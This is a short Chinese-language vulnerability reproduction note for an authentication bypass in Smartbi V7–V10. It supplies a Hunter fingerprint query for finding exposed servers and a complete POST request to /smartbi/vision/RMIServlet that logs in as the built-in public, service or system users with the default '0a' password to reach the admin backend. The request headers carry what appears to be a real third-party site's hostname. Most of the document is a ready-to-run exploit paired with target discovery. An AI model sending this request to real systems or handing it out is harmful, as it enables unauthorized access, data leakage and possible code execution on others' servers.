S9-1Smartbi-PermissionAC

漏洞描述：

Smartbi大数据分析产品融合BI定义的所有阶段，对接各种业务数据库、数据仓库和大数据分析平台，进行加工处理、分析挖掘和可视化展现；满足所有用户的各种数据分析应用需求，如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等Smartbi在安装时会内置几个用户，在使用特定接口时，可绕过用户身份认证机制获取其身份凭证，随后可使用获取的身份凭证调用后台接口，可能导致敏感信息泄露和代码执行。

影响版本：

- V7 <= Smartbi <= V10

网站图片：

网络测绘：

Hunter 语法：

- hunter：app.name=="SMARTBI 思迈特"

漏洞复现：

1. 访问POC出现如下情况则可能存在漏洞

```
http://xx.xx.xx.xx/smartbi/vision/RMIServlet
```

使用POST请求如下params：其中的第一个参数是内置的三个用户名（public、service、system）可随机构造绕过登录,第二个参数是三个账号默认的密文密码(默认值为0a),当响应如下，且result参数为true时表示存在漏洞。
payload：

```
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: xx.xx.xx.xx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=B08E6669BFA8E9D85FB6BD98411C349C
Origin: https://smartbi.cy-sys.cn
Referer: https://smartbi.cy-sys.cn/smartbi/vision/RMIServlet
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Content-Length: 81

className=UserService&methodName=loginFromDB&params=["system","0a"]
```

效果图:

访问https://xx.xx.xx.xx/smartbi/vision/index.jsp成功进入后台